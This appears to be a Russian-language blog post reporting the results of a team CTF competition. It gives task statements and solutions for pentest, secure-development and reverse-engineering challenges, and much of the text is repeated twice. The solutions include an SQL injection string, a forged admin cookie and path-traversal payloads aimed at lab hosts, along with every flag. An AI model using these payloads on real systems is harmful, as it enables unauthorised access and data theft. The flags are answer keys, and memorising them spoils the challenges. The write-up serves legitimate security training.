В начале декабря мы провели командные соревнования по информационной безопасности. Помимо OTUS, организаторами мероприятия для «белых хакеров» выступили Volga CTF и CTF.Moscow. Пожалуй, пришла пора подвести итоги и подробно рассказать о заданиях.
Во-первых, мероприятие удалось:
Во-вторых, задания были разными по сложности, поэтому решение оказалось не всем под силу:
В-третьих, сразу после завершения онлайн-марафона мы провели три вебинара, где рассказали про победителей, дали правильные ответы и объявили окончательные результаты:
— итоги CTF: «Безопасность Linux и безопасная разработка»;
— итоги CTF: «Пентест»;
— итоги CTF: «Реверс-инжиниринг».
В-четвертых, предлагаем вашему вниманию условия задач и текстовые описания их решения. Обращаем ваше внимание, что к некоторым задачам прилагались файлы.
Задание 1 — Databases
100
Сайт активно использует базы данных. Попробуй провести SQL-инъекции.
Ссылка на сайт:
Решение:
Идем в основной раздел магазина /shop/products/, потыкав в поле поиска, обнаруживаем sql-инъекцию.
Вводим 1" OR «1» = «1» — , листаем вниз и видим отсутствовавший ранее товар, флаг находится в его описании.
Flag: flag{5ql_1nject10n_15_t00_51mpl3_f0r_y0u}
Задание 2 — Cookies
150
Мой знакомый разработал платформу онлайн-магазина. Он попросил провести blackbox-тестирование. Проверь безопасность cookie, возможно, ты сможешь получить права администратора.
Ссылка на сайт:
Решение:
Логинимся, смотрим куки и видим куки secret:
«MTExMTAxMSAxMDAwMTAgMTExMDEwMSAxMTEwMDExIDExMDAxMDEgMTExMDAxMCAxMTAxMTEwIDExMDAwMDEgMTEwMTEwMSAxMTAwMTAxIDEwMDAxMCAxMTEwMTAgMTAwMDEwIDExMTAxMDEgMTExMDAxMSAxMTAwMTAxIDExMTAwMTAgMTAwMDEwIDEwMTEwMCAxMDAwMDAgMTAwMDEwIDExMDEwMDEgMTExMDAxMSAxMDExMTExIDExMDAwMDEgMTEwMDEwMCAxMTAxMTAxIDExMDEwMDEgMTEwMTExMCAxMDAwMTAgMTExMDEwIDEwMDAxMCAxMDAwMTEwIDExMDAwMDEgMTEwMTEwMCAxMTEwMDExIDExMDAxMDEgMTAwMDEwIDExMTExMDE=»
Декодим base64, получаем бинарные данные: 1111011 100010 1110101 1110011 1100101 1110010 1101110 1100001 1101101 1100101 100010 111010 100010 1110101 1110011 1100101 1110010 100010 101100 100000 100010 1101001 1110011 1011111 1100001 1100100 1101101 1101001 1101110 100010 111010 100010 1000110 1100001 1101100 1110011 1100101 100010 1111101
Переводим в текст и получаем:
01111011 00100010 01110101 01110011 01100101 01110010 01101110 01100001 01101101 01100101 00100010 00111010 00100010 01110101 01110011 01100101 01110010 00100010 00101100 00100000 00100010 01101001 01110011 01011111 01100001 01100100 01101101 01101001 01101110 00100010 00111010 00100010 01010100 01110010 01110101 01100101 00100010 01111101
«MDExMTEwMTEgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDExMDExMTAgMDExMDAwMDEgMDExMDExMDEgMDExMDAxMDEgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDAxMDAwMTAgMDAxMDExMDAgMDAxMDAwMDAgMDAxMDAwMTAgMDExMDEwMDEgMDExMTAwMTEgMDEwMTExMTEgMDExMDAwMDEgMDExMDAxMDAgMDExMDExMDEgMDExMDEwMDEgMDExMDExMTAgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDEwMTAxMDAgMDExMTAwMTAgMDExMTAxMDEgMDExMDAxMDEgMDAxMDAwMTAgMDExMTExMDE=»
Меняем значение куки на новое и заходим в профиль пользователя.
Flag: flag{d0_y0u_l1k3_c00k13s}
Задание 3 — File reading
200
Зачастую мы сталкиваемся с утекающими исходниками и странной логикой работы. Возможные вектора атак обычно находятся фаззингом. Предлагаю тебе этим заняться.
Ссылка на сайт:
Решение:
Запускаем dirb (достаточно обычного common.txt), находим страницы
Ознакомившись с исходником
Для получения флага необходимо сделать POST запрос на
В ответе на запрос будет флаг.
Flag: flag{y0u_g0t_0ur_s3cr3t}
Задание 1 — VCS
50
А не дал ли нам заказчик чего лишнего?
В архиве содержится исходный код части сайта.
Ссылка на сайт:
Вложение: task.7z
Решение:
У нас есть доступ к исходному коду. Как оказалось, разработчики положили еще и git-репозиторий. Смотрим git log, видим коммит с фиксами. Используем git show <хеш-коммита>, видим измененные файлы и их содержимое, в одной из строк хранится флаг.
flag{22717297f6a3603608d260c9e5f69e0a}
Задание 2 — Algo
50
У нас новая задача. Провести проверку safe development. Заказчик предоставил архив с открытой частью разрабатываемого сайта. Для проверки своего алгоритма хеширования он предоставил хеш: 666c61677b32646733326473323334327d. Проверь алгоритм на возможность обратного преобразования.
В архиве содержится исходный код части сайта.
Ссылка на сайт:
Вложение: task.7z
Решение:
В исходных кодах есть алгоритм хеширования паролей. На самом деле, это не алгоритм хеширования, а просто преобразование данных из строкового формата в шестнадцатеричный.
Используем Python:
Получаем флаг: flag{2dg32ds2342}
Задание 3 — Files files files
150
Давай доводить аудит до конца. Ты тоже видишь эту уязвимость? Отлично. Значит, достать секретный файл тебе несложно.
В архиве содержится исходный код части сайта.
Ссылка на сайт:
Вложение: task.7z
Решение:
В исходном коде основного модуля программы можно заметить читалку файлов (это основное применение данного сервиса). Функция проверки существования файла никак не проверяет специальные символы и просто конкатенирует две строки => уязвимость path-traversal.
Также в Dockerfile, docker-compose.yml можно увидеть отображения файлов и структуру загрузки в контейнер. Используя эти знания, генерируем полезную нагрузку:
flag{a0a7c3fff21f2aea3cfa1d0316dd816c}
Задание 1 — Snake
100
Наша компания всегда пытается обойти любую защиту программ. Помоги нам разобраться с Питоном в этот раз.
Прилагается файл: task.pyc
Решение:
Используем байт-код Python, декомпилирующийся модулем uncompyle6:
uncompyle6 task.pyc.
Декомпилируем, получаем флаг:
flag{w3l1_pyth0n}
Задание 2 — Robot
150
В этот раз нам попалось странное приложение, помоги найти пароль для входа.
Вложение: app.apk
Решение:
Приложение на андроиде, поэтому достаточно загрузить его в статический анализатор типа BytecodeViewer и посмотреть восстановленный исходный код программы. Заметим, что это Kotiln, а в нем часто используется функциональное программирование, как и в этом случае. В одной из декомпилированных анонимных функций найдем проверку флага, сама проверка:
переменная h:{ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 };
Видим что это похоже на закодированные печатные символы. Используем Python:
''.join(chr(x) for x in [ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 ])
Получаем флаг:
flag{fa2bf646e49ab5e56f2b74480ba61017}
Задание 3 — Bin
200
В этот раз нам попался бинарный файл. Задача все та же, достать секретный пароль.
Вложение: task
Решение:
Дан бинарный файл. Загружаем в дизассемблер и видим шесть функций проверки, написанных на С++.
Они выполнены идентично и вызываются друг в друге, проверяя флаг по кусочкам из 5 элементов.
Поэтапно восстанавливаем с помощью информации из дизассемблера. Получаем флаг частями:
0) проверка длины
1) flag{
2) feefa
3) _172a
4) k14sc
5) _eee}
Объединяем и получаем флаг:
flag{feefa_172ak14sc_eee}
Вот и всё, коллеги! Всем спасибо за участие, берегите себя, своих близких и свои данные! С наступающим Новым годом!
Во-первых, мероприятие удалось:
- были подготовлены 9 заданий по трём направлениям: «Пентест», «Реверс-инжиниринг», «Безопасность Linux и безопасная разработка»;
- приняли участие 217 команд;
- было зарегистрировано более 800 попыток сдать флажки;
- было зарегистрировано более 300 сданных флагов.
Во-вторых, задания были разными по сложности, поэтому решение оказалось не всем под силу:
В-третьих, сразу после завершения онлайн-марафона мы провели три вебинара, где рассказали про победителей, дали правильные ответы и объявили окончательные результаты:
— итоги CTF: «Безопасность Linux и безопасная разработка»;
— итоги CTF: «Пентест»;
— итоги CTF: «Реверс-инжиниринг».
В-четвертых, предлагаем вашему вниманию условия задач и текстовые описания их решения. Обращаем ваше внимание, что к некоторым задачам прилагались файлы.
Направление 1: «Пентест»
Задание 1 — Databases
100
Сайт активно использует базы данных. Попробуй провести SQL-инъекции.
Ссылка на сайт:
http://193.41.142.9:8001/shop/login
Решение:
Идем в основной раздел магазина /shop/products/, потыкав в поле поиска, обнаруживаем sql-инъекцию.
Вводим 1" OR «1» = «1» — , листаем вниз и видим отсутствовавший ранее товар, флаг находится в его описании.
Flag: flag{5ql_1nject10n_15_t00_51mpl3_f0r_y0u}
Задание 2 — Cookies
150
Мой знакомый разработал платформу онлайн-магазина. Он попросил провести blackbox-тестирование. Проверь безопасность cookie, возможно, ты сможешь получить права администратора.
Ссылка на сайт:
http://193.41.142.9:8001/shop/login
Решение:
Логинимся, смотрим куки и видим куки secret:
«MTExMTAxMSAxMDAwMTAgMTExMDEwMSAxMTEwMDExIDExMDAxMDEgMTExMDAxMCAxMTAxMTEwIDExMDAwMDEgMTEwMTEwMSAxMTAwMTAxIDEwMDAxMCAxMTEwMTAgMTAwMDEwIDExMTAxMDEgMTExMDAxMSAxMTAwMTAxIDExMTAwMTAgMTAwMDEwIDEwMTEwMCAxMDAwMDAgMTAwMDEwIDExMDEwMDEgMTExMDAxMSAxMDExMTExIDExMDAwMDEgMTEwMDEwMCAxMTAxMTAxIDExMDEwMDEgMTEwMTExMCAxMDAwMTAgMTExMDEwIDEwMDAxMCAxMDAwMTEwIDExMDAwMDEgMTEwMTEwMCAxMTEwMDExIDExMDAxMDEgMTAwMDEwIDExMTExMDE=»
Декодим base64, получаем бинарные данные: 1111011 100010 1110101 1110011 1100101 1110010 1101110 1100001 1101101 1100101 100010 111010 100010 1110101 1110011 1100101 1110010 100010 101100 100000 100010 1101001 1110011 1011111 1100001 1100100 1101101 1101001 1101110 100010 111010 100010 1000110 1100001 1101100 1110011 1100101 100010 1111101
Переводим в текст и получаем:
{"username":"user", "is_admin":"False"}
, меняем False на True и декодим обратно: 01111011 00100010 01110101 01110011 01100101 01110010 01101110 01100001 01101101 01100101 00100010 00111010 00100010 01110101 01110011 01100101 01110010 00100010 00101100 00100000 00100010 01101001 01110011 01011111 01100001 01100100 01101101 01101001 01101110 00100010 00111010 00100010 01010100 01110010 01110101 01100101 00100010 01111101
«MDExMTEwMTEgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDExMDExMTAgMDExMDAwMDEgMDExMDExMDEgMDExMDAxMDEgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDAxMDAwMTAgMDAxMDExMDAgMDAxMDAwMDAgMDAxMDAwMTAgMDExMDEwMDEgMDExMTAwMTEgMDEwMTExMTEgMDExMDAwMDEgMDExMDAxMDAgMDExMDExMDEgMDExMDEwMDEgMDExMDExMTAgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDEwMTAxMDAgMDExMTAwMTAgMDExMTAxMDEgMDExMDAxMDEgMDAxMDAwMTAgMDExMTExMDE=»
Меняем значение куки на новое и заходим в профиль пользователя.
Flag: flag{d0_y0u_l1k3_c00k13s}
Задание 3 — File reading
200
Зачастую мы сталкиваемся с утекающими исходниками и странной логикой работы. Возможные вектора атак обычно находятся фаззингом. Предлагаю тебе этим заняться.
Ссылка на сайт:
http://193.41.142.9:8001/shop/login
Решение:
Запускаем dirb (достаточно обычного common.txt), находим страницы
/shop/_source/
и /shop/files/
. Ознакомившись с исходником
_source
понимаем, что перед нами уязвимость Path Traversal + несколько простых фильтров. Для получения флага необходимо сделать POST запрос на
/shop/files/
с параметром «file», значение которого должно быть %2E%2E/%2E%2E/flag
. В ответе на запрос будет флаг.
Flag: flag{y0u_g0t_0ur_s3cr3t}
Направление 2: «Безопасность Linux и безопасная разработка»
Задание 1 — VCS
50
А не дал ли нам заказчик чего лишнего?
В архиве содержится исходный код части сайта.
Ссылка на сайт:
http://193.41.142.9:8002/
Вложение: task.7z
Решение:
У нас есть доступ к исходному коду. Как оказалось, разработчики положили еще и git-репозиторий. Смотрим git log, видим коммит с фиксами. Используем git show <хеш-коммита>, видим измененные файлы и их содержимое, в одной из строк хранится флаг.
flag{22717297f6a3603608d260c9e5f69e0a}
Задание 2 — Algo
50
У нас новая задача. Провести проверку safe development. Заказчик предоставил архив с открытой частью разрабатываемого сайта. Для проверки своего алгоритма хеширования он предоставил хеш: 666c61677b32646733326473323334327d. Проверь алгоритм на возможность обратного преобразования.
В архиве содержится исходный код части сайта.
Ссылка на сайт:
http://193.41.142.9:8002/
Вложение: task.7z
Решение:
В исходных кодах есть алгоритм хеширования паролей. На самом деле, это не алгоритм хеширования, а просто преобразование данных из строкового формата в шестнадцатеричный.
Используем Python:
import binascii binascii.unhexlify("666c61677b32646733326473323334327d")
Получаем флаг: flag{2dg32ds2342}
Задание 3 — Files files files
150
Давай доводить аудит до конца. Ты тоже видишь эту уязвимость? Отлично. Значит, достать секретный файл тебе несложно.
В архиве содержится исходный код части сайта.
Ссылка на сайт:
http://193.41.142.9:8002/
Вложение: task.7z
Решение:
В исходном коде основного модуля программы можно заметить читалку файлов (это основное применение данного сервиса). Функция проверки существования файла никак не проверяет специальные символы и просто конкатенирует две строки => уязвимость path-traversal.
Также в Dockerfile, docker-compose.yml можно увидеть отображения файлов и структуру загрузки в контейнер. Используя эти знания, генерируем полезную нагрузку:
http://193.41.142.9:8002/files?password=qgzc6!78zxcbkj123fdgd234&filename=../../../../../../src/secret_files/flag.txt
flag{a0a7c3fff21f2aea3cfa1d0316dd816c}
Направление 3: «Реверс-инжиниринг»
Задание 1 — Snake
100
Наша компания всегда пытается обойти любую защиту программ. Помоги нам разобраться с Питоном в этот раз.
Прилагается файл: task.pyc
Решение:
Используем байт-код Python, декомпилирующийся модулем uncompyle6:
uncompyle6 task.pyc.
Декомпилируем, получаем флаг:
flag{w3l1_pyth0n}
Задание 2 — Robot
150
В этот раз нам попалось странное приложение, помоги найти пароль для входа.
Вложение: app.apk
Решение:
Приложение на андроиде, поэтому достаточно загрузить его в статический анализатор типа BytecodeViewer и посмотреть восстановленный исходный код программы. Заметим, что это Kotiln, а в нем часто используется функциональное программирование, как и в этом случае. В одной из декомпилированных анонимных функций найдем проверку флага, сама проверка:
(String)paramFunction1.invoke(Boolean.valueOf(Arrays.equals(paramString, h)));
Функция invoke:
((StringBuilder)localObject).append("flag{");
((StringBuilder)localObject).append(this.$m);
((StringBuilder)localObject).append('}');
переменная h:{ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 };
Видим что это похоже на закодированные печатные символы. Используем Python:
''.join(chr(x) for x in [ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 ])
Получаем флаг:
flag{fa2bf646e49ab5e56f2b74480ba61017}
Задание 3 — Bin
200
В этот раз нам попался бинарный файл. Задача все та же, достать секретный пароль.
Вложение: task
Решение:
Дан бинарный файл. Загружаем в дизассемблер и видим шесть функций проверки, написанных на С++.
Они выполнены идентично и вызываются друг в друге, проверяя флаг по кусочкам из 5 элементов.
Поэтапно восстанавливаем с помощью информации из дизассемблера. Получаем флаг частями:
0) проверка длины
1) flag{
2) feefa
3) _172a
4) k14sc
5) _eee}
Объединяем и получаем флаг:
flag{feefa_172ak14sc_eee}
Вот и всё, коллеги! Всем спасибо за участие, берегите себя, своих близких и свои данные! С наступающим Новым годом!